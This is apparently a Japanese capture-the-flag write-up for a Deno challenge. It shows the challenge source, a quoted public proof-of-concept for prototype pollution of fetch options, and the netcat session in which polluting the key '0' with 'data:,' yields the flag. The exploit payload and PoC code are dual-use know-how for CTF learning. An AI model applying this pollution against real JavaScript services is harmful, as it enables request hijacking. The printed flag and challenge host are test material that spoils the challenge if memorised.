恐竜ってモフモフだったらしい🦖
nc 34.170.146.252 28172
ソースと接続先が渡される。
ソースは以下の通りであった。
// deno --no-prompt index.ts
try {
Object.prototype[prompt("key")!] = prompt("value")!;
const response = await fetch("http://localhost/");
if (response.ok) console.log("Alpaca{REDACTED}");
} catch (error) {
console.log("Error");
}自明なPrototype Pollutionのチャンスがあり、その後にfetchしている。
レスポンスがokであればフラグが出るようだ。
ただし、http://localhost/でサービスは立ち上がっていないのでokが返ってくるはずもない。
初めにPrototype PollutionでURLをhttp://example.comなど200が返るサイトにすることを目指す。
「deno fetch prototype pollution」などとGoogleで探すとfetch.PoC.tsが見つかる。
// ref. https://github.com/KTH-LangSec/server-side-prototype-pollution/blob/main/deno/fetch/fetch.PoC.ts
function pollute(key: string, value: any) {
((((Object as any).prototype as any)[key]) as any) = value;
}
pollute("0", "https://github.com");
pollute("method", "POST");
pollute("body", "Hello world!");
pollute("headers", {
"foo": "bar",
"content-type": "plaintext",
});
const response = await fetch("https://deno.land/");
console.log(response);どうやら"0"を汚染することで、URLを書き換えられるようだ。
これで任意のサイトへのfetchとすることができるため、フラグが得られそうだが上手くいかない。
denoは実行時に--allow-netフラグがない場合はfetchでのネットワークアクセスは許されず、エラーとなるようだ。
もちろんファイルアクセスも許されない。
レスポンスがokとなるfetch可能な場所は他にあるだろうか。
javascript:を試した後data:,とすると、都合よく200が返ってきた。
以下のように接続先で同じことを行う。
$ nc 34.170.146.252 28172
key 0
0
value data:,
data:,
Alpaca{z4w4z4w4_f0r3st_4lp4ch4n}flagが得られた。